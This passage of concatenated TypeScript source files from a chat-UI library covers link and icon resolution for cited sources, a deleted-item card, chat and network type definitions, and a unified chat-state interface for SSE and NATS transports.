documentType ?? 'Source';\n  return { icon, iconLabel };\n}\n\n/**\n * Doc-table documentTypes — rows that carry an in-app `path` (not an entity\n * `externalUrl`) and resolve to a doc viewer. The SAME set an embedder keys its\n * `docPlatformTargets` map by (markdown = product docs, data_room_doc = data room),\n * declared once so the two can't silently diverge.\n */\nexport const DOC_TABLE_TYPES = ['markdown', 'data_room_doc'] as const;\n\n/**\n * Only doc-table rows (DOC_TABLE_TYPES) fall back to doc-viewer navigation when no\n * `externalUrl` is set; the in-app/per-platform viewer can render them. Entity-table\n * rows MUST come with an explicit `externalUrl` from the mapper.\n */\nfunction shouldFallbackToPathNav(row: SourceRowInput): boolean {\n  return !!row.documentType && (DOC_TABLE_TYPES as readonly string[]).includes(row.documentType);\n}\n\n/**\n * Resolve the CTA contract for a row. Pure function — no DOM, no fetch,\n * no logging. Call from any surface (chip, card, search result) with the\n * same row shape and get the same answer back.\n */\nexport function resolveSourceRowCTA(row: SourceRowInput, ctx: SourceRowContext = {}): SourceRowCTA {\n  // Derive sourceRepo from documentType when the caller didn't supply\n  // it. Inline cards know `ref.type` (documentType) but not `sourceRepo`;\n  // chips and search results have sourceRepo directly. The host supplies\n  // the reverse map via `ctx.tableIdForDocumentType`.\n  const sourceRepo =\n    row.sourceRepo ??\n    (row.documentType && ctx.tableIdForDocumentType ? ctx.tableIdForDocumentType(row.documentType) : null) ??\n    null;\n\n  const { icon, iconLabel } = pickSourceIcon(sourceRepo, row.documentType);\n\n  // URL resolution. `idValue` (row primary key) is shared with the Ask\n  // drill-in check below.\n  let href: string | null = null;\n  let targetPlatform: string | null = null;\n  const idValue = (row.id ?? '').trim();\n  if (row.path && shouldFallbackToPathNav(row) && !row.externalUrl) {\n    // Doc-table (markdown / data-room PDF) with no public URL. Resolve where its\n    // viewer lives, in priority order (NOT a content type the composeContentUrl\n    // seam knows — docs carry a tree `path`, not a slug/id):\n    //   1. docPlatformTargets[documentType] — per-doc-type cross-platform target.\n    //      The UNIFIED, DYNAMIC path: a chat mixing multiple doc sources routes\n    //      EACH row to its own home (markdown→flamingo, data_room_doc→company-hub).\n    //   2. chipBasePlatform — legacy SINGLE cross-platform fallback (one platform\n    //      for every doc; only safe when a surface sees just one doc source).\n    //   3. baseRoute — the host serves the doc viewer in-app → relative path nav.\n    //   else → null (no viewer configured → Ask-only).\n    const safePath = sanitizePath(row.path);\n    if (safePath) {\n      const docTarget = row.documentType ? ctx.docPlatformTargets?.[row.documentType] : undefined;\n      if (docTarget) {\n        // Trim leading/trailing (and collapse empty) segments WITHOUT a regex — the\n        // slash-stripping regex `/^\\/+|\\/+$/g` tripped CodeQL's js/polynomial-redos (high)\n        // since `\\/+$` backtracks on inputs with many '/'. split/filter/join is linear.\n        const seg = docTarget.basePath.split('/').filter(Boolean).join('/');\n        const base = `${getBaseUrl(docTarget.platform)}${seg ? `/${seg}` : ''}/`;\n        href = safeHref(new URL(safePath, base).toString()) ?? null;\n        targetPlatform = docTarget.platform;\n      } else if (ctx.chipBasePlatform) {\n        const base = `${getBaseUrl(ctx.chipBasePlatform)}/knowledge-base/`;\n        href = safeHref(new URL(safePath, base).toString()) ?? null;\n        targetPlatform = ctx.chipBasePlatform;\n      } else if (ctx.baseRoute) {\n        const synthetic = `https://_internal_.local${ctx.baseRoute.startsWith('/') ? ctx.baseRoute : '/' + ctx.baseRoute}/`;\n        const absolute = new URL(safePath, synthetic).toString();\n        href = safeHref(absolute.replace('https://_internal_.local', '')) ?? null;\n        targetPlatform = ctx.currentPlatform ?? null;\n      }\n    }\n  } else if (ctx.composeContentUrl && row.documentType && row.externalUrl) {\n    // Entity content WITH a public viewer → the unified content-href seam. The\n    // host's hostedTypes/overrides route hosted types in-app (slug relativized\n    // from the externalUrl) and everything else to the externalUrl verbatim —\n    // the SAME resolver the page-view cards use, so chat + page links match.\n    const composed = ctx.composeContentUrl({\n      // Canonical vocabulary only — a rail-vocab alias would miss the host's\n      // `hostedTypes` / `overrides` and fall through to the seam's default\n      // `<origin>/<type>/<id>` branch. Same canonicalizer `buildListUrl` uses.\n      type: canonicalContentRefType(row.documentType),\n      identifier: idValue,\n      externalUrl: row.externalUrl,\n      targetPlatform: row.targetPlatform ?? null,\n    });\n    href = composed.href ? (safeHref(composed.href) ?? null) : null;\n    targetPlatform = composed.targetPlatform;\n  } else if (row.externalUrl) {\n    // No composer wired → legacy: the RAG externalUrl verbatim.\n    href = safeHref(row.externalUrl) ?? null;\n    targetPlatform = row.targetPlatform ?? null;\n  }\n\n  // Ask drill-in viability. (`idValue` computed above.) `documentType` is read\n  // into a local so the ternary below branches on the VALUE — a `!!(...)`\n  // boolean flag proves nothing to the compiler about `row.documentType`.\n  const documentType = row.documentType;\n  const askable = !!(idValue && documentType);\n  const chatRef: ChatRef | null =\n    idValue && documentType\n      ? {\n          type: documentType,\n          ...(sourceRepo ? { sourceRepo } : {}),\n          id: idValue,\n          title: row.title,\n          url: href,\n          targetPlatform,\n          // Carry `path` so a downstream inline card (rendered from this\n          // chatRef on a subsequent turn) gets the same doc-tree-swap\n          // routing the chip already used. Without it, the Ask drill-in\n          // would resolve to a same-tab full-page nav even when an in-app\n          // path is available.\n          ...(row.path ? { metadata: { path: row.path } } : {}),\n        }\n      : null;\n\n  return { icon, iconLabel, href, targetPlatform, askable, chatRef };\n}\n\n/**\n * Convenience helper for callers that just need the source icon —\n * inline cards' tracking strip + the search-bar dropdown row, today.\n *\n * Single source of truth: every consumer (chips, search results,\n * inline cards) routes through `SOURCE_ICON_NAMES` + `ICON_REGISTRY`.\n *\n * Accepts a string for backward-compatibility with the single-arg call\n * shape — treated as `documentType`.\n */\nexport function resolveSourceIcon(\n  input: { sourceRepo?: string | null; documentType?: string | null } | string | null | undefined,\n  ctx: { tableIdForDocumentType?: (documentType: string) => string | null } = {},\n): {\n  Icon: React.ComponentType<{ className?: string }>;\n  label: string;\n} {\n  if (!input) return { Icon: FileText, label: 'Source' };\n  const { sourceRepo, documentType } = typeof input === 'string' ? { sourceRepo: null, documentType: input } : input;\n  if (!sourceRepo && !documentType) return { Icon: FileText, label: 'Source' };\n  const resolvedRepo =\n    sourceRepo ??\n    (documentType && ctx.tableIdForDocumentType ? ctx.tableIdForDocumentType(documentType) : null) ??\n    null;\n  const { icon, iconLabel } = pickSourceIcon(resolvedRepo, documentType);\n  return { Icon: icon, label: iconLabel };\n}\n","'use client';\n\n/**\n * Deleted Data Card — generic TOMBSTONE placeholder for an entity a chat\n * action removed (ClickUp task today; any deletable entity tomorrow).\n *\n * Follows the established tombstone pattern (Teams / Slack \"This message\n * was deleted\"): keep a visible, muted placeholder so the conversation\n * thread's integrity holds — the reader sees WHAT was removed and that\n * it may be recoverable, instead of a dead link or a silent gap.\n *\n * PURE PRESENTATION from the ChatRef — no fetch, no navigation (the\n * underlying entity no longer resolves anywhere). Ref contract:\n *   - `title`                    — the deleted entity's display title\n *   - `metadata.entity_label`    — what kind of thing it was (\"ClickUp task\")\n *   - `metadata.recovery_note`   — optional recoverability copy\n *     (\"Recoverable from the ClickUp Trash for 30 days\")\n */\n\nimport { Trash2 } from 'lucide-react';\nimport {\n  COMPACT_CARD_ICON_SLOT,\n  COMPACT_CARD_META_ROW,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n} from '../utils/compact-card-classes';\n\nexport interface DeletedDataCardProps {\n  title?: string | null;\n  /** What kind of entity was deleted (\"ClickUp task\", \"HubSpot ticket\"). */\n  entityLabel?: string | null;\n  /** Recoverability copy (\"Recoverable from the ClickUp Trash for 30 days\"). */\n  recoveryNote?: string | null;\n  className?: string;\n}\n\nexport function DeletedDataCard({ title, entityLabel, recoveryNote, className }: DeletedDataCardProps) {\n  const label = entityLabel || 'Item';\n  return (\n    <div className={`${COMPACT_CARD_OUTER_STATIC} opacity-70 ${className ?? ''}`}>\n      <div className={COMPACT_CARD_ICON_SLOT}>\n        <Trash2 className=\"h-4 w-4 text-ods-text-secondary\" />\n      </div>\n      <div className={COMPACT_CARD_TEXT_COL}>\n        <div className={COMPACT_CARD_TITLE_ROW}>\n          <span className={`${COMPACT_CARD_TITLE} text-ods-text-secondary line-through`}>\n            {title || `Deleted ${label.toLowerCase()}`}\n          </span>\n        </div>\n        <div className={COMPACT_CARD_META_ROW}>\n          <span className=\"text-ods-text-secondary\">\n            {label} deleted{recoveryNote ? ` · ${recoveryNote}` : ''}\n          </span>\n        </div>\n      </div>\n    </div>\n  );\n}\n","/**\n * Core chat types and enums\n */\n\n// ========== Chat Type Definitions ==========\n\nexport const CHAT_TYPE = {\n  CLIENT: 'CLIENT_CHAT',\n  ADMIN: 'ADMIN_AI_CHAT',\n} as const;\n\nexport type ChatType = (typeof CHAT_TYPE)[keyof typeof CHAT_TYPE];\n\n// ========== Owner Type Definitions ==========\n\nexport const OWNER_TYPE = {\n  CLIENT: 'CLIENT',\n  ADMIN: 'ADMIN',\n  ASSISTANT: 'ASSISTANT',\n} as const;\n\nexport type OwnerType = (typeof OWNER_TYPE)[keyof typeof OWNER_TYPE];\n\n// ========== Role Definitions ==========\n\nexport const MESSAGE_ROLE = {\n  USER: 'user',\n  ASSISTANT: 'assistant',\n  ERROR: 'error',\n  SYSTEM: 'system',\n} as const;\n\nexport type MessageRole = (typeof MESSAGE_ROLE)[keyof typeof MESSAGE_ROLE];\n\n// ========== Assistant Type Definitions ==========\n\nexport const ASSISTANT_TYPE = {\n  FAE: 'fae',\n  MINGO: 'mingo',\n} as const;\n\nexport type AssistantType = (typeof ASSISTANT_TYPE)[keyof typeof ASSISTANT_TYPE];\n\n// ========== Author Type Definitions ==========\n\nexport const AUTHOR_TYPE = {\n  USER: 'user',\n  ADMIN: 'admin',\n  FAE: 'fae',\n  MINGO: 'mingo',\n  SYSTEM: 'system',\n} as const;\n\nexport type AuthorType = (typeof AUTHOR_TYPE)[keyof typeof AUTHOR_TYPE];\n\n// ========== Approval Status Definitions ==========\n\nexport const APPROVAL_STATUS = {\n  PENDING: 'pending',\n  APPROVED: 'approved',\n  REJECTED: 'rejected',\n  CANCELLED: 'cancelled',\n} as const;\n\nexport type ChatApprovalStatus = (typeof APPROVAL_STATUS)[keyof typeof APPROVAL_STATUS];\n\n// ========== Approval Block Variant Definitions ==========\n\n/**\n * Who is LOOKING at an approval block — not which assistant produced it.\n * `admin` (default) shows the full block: command/script preview, expandable\n * args/result, tool icon. `client` (end-user Fae desktop app) shows only the\n * BE-generated title plus Approve/Reject or the resolved-status pill — raw\n * commands and scripts must never reach the end client. Admin surfaces that\n * render a Fae dialog (tickets dialog client tab) keep the admin variant.\n */\nexport const APPROVAL_BLOCK_VARIANT = {\n  ADMIN: 'admin',\n  CLIENT: 'client',\n} as const;\n\nexport type ApprovalBlockVariant = (typeof APPROVAL_BLOCK_VARIANT)[keyof typeof APPROVAL_BLOCK_VARIANT];\n\n// ========== Connection Status Definitions ==========\n\nexport const CONNECTION_STATUS = {\n  CONNECTING: 'connecting',\n  CONNECTED: 'connected',\n  DISCONNECTED: 'disconnected',\n  RECONNECTING: 'reconnecting',\n  CLOSED: 'closed',\n  ERROR: 'error',\n} as const;\n\nexport type ConnectionStatus = (typeof CONNECTION_STATUS)[keyof typeof CONNECTION_STATUS];\n\n// ========== Message Owner Interface ==========\n\nexport interface MessageOwner {\n  type: OwnerType;\n  machineId?: string;\n  userId?: string;\n  model?: string;\n  user?: {\n    id: string;\n    firstName?: string;\n    lastName?: string;\n    /** Optional author avatar. Host queries it on the message owner (e.g.\n     *  GraphQL `User.image`); `imageUrl` may be relative — the host is\n     *  responsible for resolving it to an absolute/proxied URL. */\n    image?: { imageUrl?: string | null } | null;\n  };\n}\n\n// ========== Content-shape helpers ==========\n\nimport type { MessageContent, MessageSegment } from './message.types';\n\n/** Helper function to check if content is structured (segment array). */\nexport function isStructuredContent(content: MessageContent): content is MessageSegment[] {\n  return Array.isArray(content);\n}\n\n/** Normalize either a string or segment array into a uniform segment array. */\nexport function normalizeContent(content: MessageContent): MessageSegment[] {\n  if (typeof content === 'string') {\n    return content ? [{ type: 'text', text: content }] : [];\n  }\n  return content;\n}\n\n// ========== SSE event data shapes (wire shapes) ==========\n\nexport interface TextEventData {\n  type: 'TEXT';\n  text: string;\n}\n\nexport interface ToolExecutionEventData {\n  type: 'EXECUTING_TOOL' | 'EXECUTED_TOOL';\n  integratedToolType: string;\n  toolFunction: string;\n  parameters?: Record<string, unknown>;\n  result?: string;\n  success?: boolean;\n}\n\nexport type SSEEventData = TextEventData | ToolExecutionEventData;\n\n// ========== Quick-action chip shape ==========\n\nexport interface QuickAction {\n  id: string;\n  text: string;\n}\n","/**\n * Network and communication types\n * Contains types for NATS, WebSocket, and network configuration\n */\n\nimport type { ChatType } from './chat.types';\n\n// ========== NATS Types ==========\n\nexport type NatsMessageType = 'message' | 'admin-message';\n\nexport type NatsConnectionStatus = 'connecting' | 'connected' | 'disconnected' | 'reconnecting' | 'closed' | 'error';\n\nexport type NatsConnectionSource = 'client' | 'agent' | 'dashboard';\n\n// ========== Network Configuration ==========\n\nexport const NETWORK_CONFIG = {\n  SHARED_CLOSE_DELAY_MS: 3000,\n  CONNECT_TIMEOUT_MS: 10_000,\n  RECONNECT_TIME_WAIT_MS: 2000,\n  PING_INTERVAL_MS: 30_000,\n  MAX_PING_OUT: 3,\n  DEFAULT_MESSAGE_LIMIT: 50,\n  POLL_MESSAGE_LIMIT: 10,\n  RETRY_INITIAL_DELAY_MS: 1000,\n  RETRY_MAX_DELAY_MS: 30_000,\n  RETRY_BACKOFF_MULTIPLIER: 2,\n} as const;\n\nexport type NetworkConfig = typeof NETWORK_CONFIG;\n\n// ========== Chunk Data Types ==========\n\nexport interface ChunkData {\n  sequenceId?: number;\n  /** JetStream stream sequence, populated from JsMsg.info.streamSequence when delivered via JetStream. */\n  streamSeq?: number;\n  /** Authoritative dialog streaming state at the time this chunk was emitted; consumers should mirror it into their dialog cache. */\n  streamState?: 'IDLE' | 'STREAMING';\n  type: string;\n  text?: string;\n  integratedToolType?: string;\n  toolFunction?: string;\n  /** Execution chunks carry the human-readable title as `title`. */\n  title?: string;\n  /** EXECUTING_TOOL chunks carry the tool's human-readable explanation (what/why). */\n  toolExplanation?: string;\n  parameters?: Record<string, unknown>;\n  result?: string;\n  success?: boolean;\n  toolExecutionRequestId?: string;\n  error?: string;\n  details?: string;\n  approvalRequestId?: string;\n  approval_request_id?: string;\n  approvalType?: string;\n  command?: string;\n  explanation?: string;\n  approved?: boolean;\n  /** On APPROVAL_RESULT chunks: display name of the user who resolved the request. */\n  resolvedByName?: string;\n  /** Batch-approval rows. Coerced by `normalizeToolCalls` in the NATS decoder\n   *  — the wire shape is per-backend, so entries stay opaque here. */\n  toolCalls?: unknown[];\n  /** Opaque per-chunk payload some backends attach beside `text`. */\n  payload?: Record<string, unknown>;\n  modelName?: string;\n  providerName?: string;\n  provider?: string;\n  contextWindow?: number;\n  ownerType?: string;\n  displayName?: string;\n  /** Chunk kinds this lib does not model yet — decoders read them through\n   *  their own typeof gates. */\n  [key: string]: unknown;\n}\n\nexport interface BufferedChunk {\n  chunk: ChunkData;\n  messageType: NatsMessageType;\n}\n\n// ========== WebSocket Types ==========\n\nexport interface WebSocketMessage {\n  type: string;\n  payload: unknown;\n  timestamp?: string;\n  id?: string;\n}\n\nexport interface WebSocketConfig {\n  url: string;\n  protocols?: string | string[];\n  reconnect?: boolean;\n  reconnectInterval?: number;\n  maxReconnectAttempts?: number;\n  onOpen?: (event: Event) => void;\n  onClose?: (event: CloseEvent) => void;\n  onError?: (event: Event) => void;\n  onMessage?: (event: MessageEvent) => void;\n}\n\n// ========== Fetch Functions ==========\n\nexport type FetchChunksFunction = (\n  dialogId: string,\n  chatType: ChatType,\n  fromSequenceId?: number | null,\n) => Promise<ChunkData[]>;\n\n// ========== Network Response Types ==========\n\nexport interface NetworkResponse<T = unknown> {\n  success: boolean;\n  data?: T;\n  error?: string;\n  message?: string;\n}\n\nexport interface PaginatedResponse<T = unknown> extends NetworkResponse<T> {\n  page: number;\n  pageSize: number;\n  totalCount: number;\n  totalPages: number;\n}\n\n// ========== API Error Types ==========\n\nexport interface NetworkError {\n  code: string;\n  message: string;\n  details?: unknown;\n  timestamp: string;\n}\n","'use client';\n\n/**\n * UnifiedChatState — the return shape that BOTH transport hooks must satisfy.\n *\n * Two transport implementations live behind this contract:\n *   - SSE (Guide mode) — talks to the hub backend\n *   - NATS (Mingo mode) — talks to the OpenFrame backend\n *\n * The public `useChat({ mode })` hook picks one based on `mode.transport` and\n * returns this shape regardless. Consumers (MingoChat shell, advanced custom\n * embedders) work against this contract and never see which transport is live.\n *\n * Fields that only one transport can populate are typed as nullable (per-turn\n * LLM metadata is SSE-only) or optional (Guide-only message sub-fields like\n * `sources`). In the off-mode they're null/undefined.\n */\n\nimport type { ChatRef } from '../chat-ref.types';\nimport type { ChatAttachment } from '../utils/chat-attachment-markdown';\nimport type { AuthorType } from './chat.types';\nimport type { DialogItem } from './component.types';\nimport type { ChatContextItem } from './context-item.types';\nimport type { ChatSource, MessageSegment, ScrollAnchor } from './message.types';\n\n// ─── Dialog-list host contract (shared by the NATS + SSE adapters) ───────────\n\n/** Page-fetch parameters passed to a host `fetchDialogs` callback. The\n *  adapter owns the cursor — the host only resolves it against the backend.\n *  `search` is present ONLY when the adapter runs a server-side list search\n *  (never spread as an `undefined` key). */\nexport interface FetchDialogsParams {\n  cursor?: string;\n  limit?: number;\n  search?: string;\n}\n\n/** Successful `fetchDialogs` response. `nextCursor: null` means \"no more\n *  pages\" — used to terminate the infinite-scroll observer in the list. */\nexport interface FetchDialogsResult {\n  dialogs: DialogItem[];\n  nextCursor: string | null;\n}\n\n/**\n * Dialog-management capabilities a transport exposes to `EmbeddableChat`.\n * Structurally identical to the host-injected `mingoDialogCapabilities`\n * prop — one shape, whether the list is host-owned (openframe `mingoState`)\n * or adapter-owned (`UnifiedChatState.dialogCapabilities`).\n */\nexport interface ChatDialogCapabilities {\n  /** Show \"Rename chat\" in the row ⋯ menu and the conversation header. */\n  canRename?: boolean;\n  /** Show \"Archive chat\" in the row ⋯ menu and the conversation header. */\n  canArchive?: boolean;\n  /** Pages archived dialogs — presence gates the archive page + header button. */\n  fetchArchivedDialogs?: (params: FetchDialogsParams) => Promise<FetchDialogsResult>;\n  /** Restores an archived dialog — presence gates the restore button. */\n  unarchiveDialog?: (id: string) => Promise<void>;\n  /** Current list-search term (host/adapter owned; the list never filters). */\n  searchQuery?: string;\n  /** Presence wires the header magnifier + the rail's search field. */\n  onSearchChange?: (query: string) => void;\n  /** \"Copy chat link\" — the owner of the URL shape + clipboard write. */\n  onCopyLink?: (dialog: DialogItem) => void;\n  /**\n   * When the list has settled EMPTY and is unsearched, land on the composer\n   * instead of an empty \"Current Chats\" screen.\n   *\n   * A policy, not a transport detail: a public marketing panel must not make a\n   * first-time visitor tap through an empty list to ask a question, while a\n   * signed-in workspace panel wants the list (with its \"Start New Chat\"\n   * affordance) as the landing surface. Omit to keep the list.\n   */\n  emptyListSkipsToCompose?: boolean;\n}\n\n/**\n * \"This panel owns a conversation list, and no optional affordance on it.\"\n *\n * A frozen module singleton so it is referentially stable across renders —\n * it is read inside memo dependency lists, where a fresh `{}` would\n * invalidate them on every pass.\n */\nexport const EMPTY_DIALOG_CAPABILITIES: ChatDialogCapabilities = Object.freeze({});\n\n// ─── Per-dialog token usage (Mingo backend telemetry) ────────────────────────\n\n/**\n * Token usage snapshot for the active Mingo dialog, hydrated from the\n * backend's `dialog.tokenUsage` GraphQL field. Mirrors the shape returned\n * by the openframe `dialogs` GraphQL endpoint so hosts can pass it through\n * `fetchDialogMessages` without re-mapping.\n *\n * Null when no Mingo dialog is active, when the backend hasn't reported\n * usage yet, or when the active mode is Guide (SSE telemetry surfaces via\n * `currentInputTokens`/`currentOutputTokens` instead).\n */\nexport interface DialogTokenUsage {\n  /** Backend chat-type discriminator, e.g. `ADMIN_AI_CHAT`. Free-form. */\n  chatType?: string;\n  /** Total input tokens consumed so far in this dialog. */\n  inputTokensSize: number;\n  /** Total output tokens emitted so far in this dialog. */\n  outputTokensSize: number;\n  /** Sum of input + output. May be > input + output when the backend\n   *  counts cache reads in a separate bucket — trust the backend value. */\n  totalTokensSize: number;\n  /** Current LLM context-window occupancy in tokens — what the model\n   *  has loaded right now, not the cumulative dialog sum. */\n  contextSize?: number;\n}\n\n// ─── Connection state (transport-level) ──────────────────────────────────────\n\n/**\n * High-level transport connection status. Drives any UI affordance that\n * needs to communicate \"live tail is/isn't healthy\" to the user. SSE/Guide\n * adapter currently reports `'connected'` whenever a turn isn't streaming\n * — the SSE side is request-response and has no long-lived socket.\n */\nexport type ChatConnectionState = 'connected' | 'connecting' | 'disconnected';\n\n// ─── Streaming phase (unified across transports) ─────────────────────────────\n\n/**\n * Granular streaming-status enum the chat shell uses to render the\n * \"Thinking...\"/\"Streaming...\" indicator above the input.\n *\n * - 'idle'      → no in-flight turn\n * - 'thinking'  → request fired; no streamed text/segments yet\n * - 'streaming' → first text/segment chunk arrived; output in progress\n *\n * Common to both Guide (SSE) and Mingo (NATS) modes — the phase\n * machine fires identically in either transport, just driven by\n * different chunk boundaries.\n */\nexport type StreamingPhase = 'idle' | 'thinking' | 'streaming';\n\n// ─── Usage breakdown (SSE-only telemetry) ────────────────────────────────────\n\n/**\n * Cross-call token-usage breakdown extracted from the SSE trailing usage\n * frame. Surfaces sub-call costs for the Haiku rewriter/classifier/summarizer\n * pipeline plus the routing decision for the main answer.\n *\n * Lives on `UnifiedChatState.currentUsageBreakdown` as `null` until the\n * server's trailing usage frame lands. Always `null` in Mingo mode — NATS\n * agent doesn't surface this telemetry.\n */\nexport interface UnifiedUsageBreakdown {\n  haikuRewriter?: { input: number; output: number };\n  haikuClassifier?: { input: number; output: number };\n  haikuSummarizer?: { input: number; output: number };\n  routedAnswer?: { model: string; complexity: string; thinkingBudget: number };\n}\n\n// ─── Message ─────────────────────────────────────────────────────────────────\n\n/**\n * Generic chat message shape — unified between Guide (SSE) and Mingo (NATS).\n *\n * Guide-mode messages populate `sources` (RAG document citations);\n * Mingo-mode messages leave it undefined. Tool-execution and approval\n * events ride inside `segments` and are common to both modes.\n */\nexport interface UnifiedChatMessage {\n  id: string;\n  role: 'user' | 'assistant';\n\n  /**\n   * Optional host-supplied display name for the message author. When set, the\n   * chat renders it verbatim (e.g. the signed-in user's full name for a\n   * `user` bubble, or a per-message admin name from history); when omitted the\n   * UI falls back to the role default (`'Mingo'` / `'You'`).\n   */\n  name?: string;\n\n  /**\n   * Optional host-supplied avatar URL for the message author. Used by the\n   * panel to render an inline avatar on the author row (proxied via\n   * `useProxiedImageUrl`). Omit/`null` to fall back to initials. For `user`\n   * bubbles the avatar only renders when this is set, so consumers that don't\n   * supply one keep the name-only layout.\n   */\n  avatar?: string | null;\n\n  /**\n   * Optional host-supplied author type — drives the name-row accent color in\n   * `<ChatMessageEnhanced>` (e.g. `'admin'` renders the name in the accent\n   * color, matching the standalone `/mingo` page). When omitted the panel\n   * falls back to the role default (`'user'` for user bubbles, the assistant\n   * type otherwise).\n   */\n  authorType?: AuthorType;\n\n  /**\n   * Flat string form for legacy/simple callers. The structured `segments`\n   * form is preferred — it carries thinking blocks, tool calls, approval\n   * cards, etc., which `<ChatMessageEnhanced>` renders.\n   */\n  content: string;\n  segments?: MessageSegment[];\n\n  /**\n   * Highest chunk `streamSeq` consumed into THIS row. Not render input — it is\n   * the per-message coverage signal `mergeHistoryWithRealtime` decides with:\n   * a live synthetic is a twin of a persisted row only once history reaches\n   * its seq.\n   *\n   * Load-bearing, not bookkeeping. Without it the merge falls through to its\n   * wall-clock fallback (\"created before the fetch instant ⇒ history has it\"),\n   * which is wrong for every turn the backend has not finished persisting: a\n   * history refetch mid-stream then drops every live bubble except the single\n   * `streamingMessageId`, collapsing the thread to the persisted user prompt.\n   * The reducer stamps it on the rows it owns; hosts stamp the persisted value\n   * on history rows.\n   */\n  streamSeq?: number;\n\n  /**\n   * Optional host-supplied message timestamp (creation/send time). Rendered\n   * as the message-row time and, critically, fed into the memoized message's\n   * equality check. Hosts SHOULD pass a stable value (the message's real\n   * `createdAt`) — when omitted the panel stamps a stable per-id fallback so\n   * memoization still holds. Never re-derive this as \"now\" per render: a\n   * moving clock defeats memoization and re-renders every message (collapsing\n   * open menus/cards) on each realtime chunk.\n   */\n  timestamp?: Date | string | number;\n\n  /**\n   * Documents this answer cited, rendered as chips beneath it. Produced by\n   * BOTH transports now — SSE reads them off the per-turn metadata frame, NATS\n   * decodes them out of a `GUIDE`/`SOURCES` chunk.\n   */\n  sources?: ChatSource[];\n  /**\n   * Entity references this answer's metadata described — videos and cards.\n   * Data for the `[card://type:id]` markers in the body, not a render list:\n   * only markers actually present in the text are rendered.\n   */\n  refs?: ChatRef[];\n\n  /**\n   * Per-message viewport-positioning hint. Common to both modes; the\n   * message-list reads it to override default tail-on-stream behaviour\n   * for a single message (e.g. long display-action answers anchor to\n   * the top so the reader starts at the lede).\n   */\n  scrollAnchor?: ScrollAnchor;\n\n  /**\n   * When true the message is part of the conversation history but is\n   * NOT rendered in the chat UI. Used for post-approval auto-continuation\n   * turns where we don't want synthetic prompts polluting the visible\n   * thread.\n   */\n  hidden?: boolean;\n\n  /**\n   * Entity-context items attached to THIS message (user bubbles only). The\n   * host populates this from the outgoing send so the lib can render the\n   * context chips beneath the message text (Figma node 31:28709). Undefined\n   * for messages with no attached context.\n   */\n  contextItems?: ChatContextItem[];\n}\n\n// ─── sendMessage options ─────────────────────────────────────────────────────\n\n/**\n * Options passed to `sendMessage`. Kept narrow on purpose — transport-specific\n * extras stay inside the transport implementation, not on the public surface.\n * Add fields here only when BOTH transports honour them.\n */\nexport interface UnifiedSendMessageOptions {\n  /**\n   * Treat the user message as background context only — added to the LLM\n   * history so the model sees it, but NOT rendered in the UI. Used by hosts\n   * to fire post-approval auto-continuation turns. The assistant response\n   * still renders normally.\n   */\n  hidden?: boolean;\n\n  /**\n   * Image attachments uploaded via `useChatAttachments` to ride alongside\n   * the user message. Each entry carries `{ storagePath, viewToken }` —\n   * server-side the transport adapter replaces embedded view-URL markdown\n   * lines with provider-native image content blocks.\n   *\n   * Guide/SSE mode: forwarded to the hub's `/api/docs/chat` endpoint.\n   * Mingo/NATS mode: ignored (agent backend does not currently accept\n   * image attachments — adapter will silently drop).\n   */\n  attachments?: ChatAttachment[];\n\n  /**\n   * Entity-context items the user attached via the composer's context picker\n   * (the `+` \"Assign Item\" menu or the `@`-mention trigger). The lib collects\n   * the selection and hands it to the host here on send; the host folds them\n   * into its outgoing request payload (e.g. `contextItems: [{ type, id }]`).\n   * Empty/undefined when the picker isn't configured or nothing is selected.\n   */\n  contextItems?: ChatContextItem[];\n}\n\n// ─── Return shape ────────────────────────────────────────────────────────────\n\n/**\n * The contract every transport hook returns. Stable across SSE and NATS —\n * consumers depend on this shape and never branch on `mode` themselves.\n *\n * Mode-specific telemetry (provider, token counts, cache-hit %) is SSE-only.\n * In Mingo mode those fields are `null` because NATS-agent doesn't surface\n * per-turn LLM metadata the same way.\n */\nexport interface UnifiedChatState {\n  // ─── Message thread ───────────────────────────────────────────────────────\n  messages: UnifiedChatMessage[];\n\n  /**\n   * True while a user turn is in progress — server-side thinking, streaming,\n   * or both. Driven by `streamingPhase` under the hood; exposed as a flat\n   * boolean for the chat-input \"submit disabled\" affordance.\n   */\n  isLoading: boolean;\n\n  /** Granular phase for the \"Thinking...\"/\"Streaming...\" status row above input. */\n  streamingPhase: StreamingPhase;\n\n  /** True while the adapter is rebuilding the message list from the\n   *  server-side transcript store (SSE/Guide mount-time hydration). Optional —\n   *  transports without server hydration (NATS manages its own dialog\n   *  loading) never set it. */\n  isHydratingHistory?: boolean;\n\n  // ─── Actions ──────────────────────────────────────────────────────────────\n  /** Resolution MAY carry a boolean success flag (`false` = the request\n   *  failed) — consumed by batch approve-all loops to mark failed rows.\n   *  Callers that only await it are unaffected (`void` = success). */\n  sendMessage: (text: string, options?: UnifiedSendMessageOptions) => Promise<void | boolean>;\n\n  /** Abort the in-flight stream. No-op when idle. */\n  stopMessage: () => void;\n\n  /** Wipe the local message buffer. Does not touch server-side history. */\n  clearMessages: () => void;\n\n  /**\n   * Trigger the chat's \"Discuss this row\" affordance — opens a focused\n   * thread scoped to a specific RAG entity. Guide-mode only; in Mingo mode\n   * this is a no-op (the agent has no entity-id-filtered retrieval).\n   */\n  discussRef: (ref: ChatRef) => void;\n\n  /**\n   * Trigger the chat's \"Display this row\" affordance — same as `discussRef`\n   * but for read-only card display rather than a question. Guide-mode only:\n   * it dispatches a `/<cmd> display \"<x>\"` slash command, and only the SSE\n   * transport has a slash-command registry.\n   *\n   * OPTIONAL, and OMITTED — not stubbed — by adapters that have no display\n   * path. Consumers gate the affordance on its presence (`entity-cards`'\n   * dispatcher falls back to \"Ask Mingo\" when it is absent), so a no-op stub\n   * renders a dead \"Display\" row where the action that works belongs.\n   */\n  displayRef?: (ref: ChatRef) => void;\n\n  // ─── Per-turn LLM metadata (Guide/SSE only) ───────────────────────────────\n  /**\n   * Provider key recognised by `<ModelDisplay>` for icon selection.\n   * Values: 'anthropic' | 'openai' | 'google' (case-insensitive).\n   * Null in Mingo mode and during the brief window before the server's\n   * `message_start` frame arrives.\n   */\n  currentProvider: string | null;\n\n  /** Display label for the active model, e.g. \"Sonnet 4.6\". Null in Mingo. */\n  currentModelLabel: string | null;\n\n  /** Model's context-window cap in tokens. Null in Mingo. */\n  currentContextWindowMaxTokens: number | null;\n\n  /** Input tokens for the current turn (from `message_start`). Null in Mingo. */\n  currentInputTokens: number | 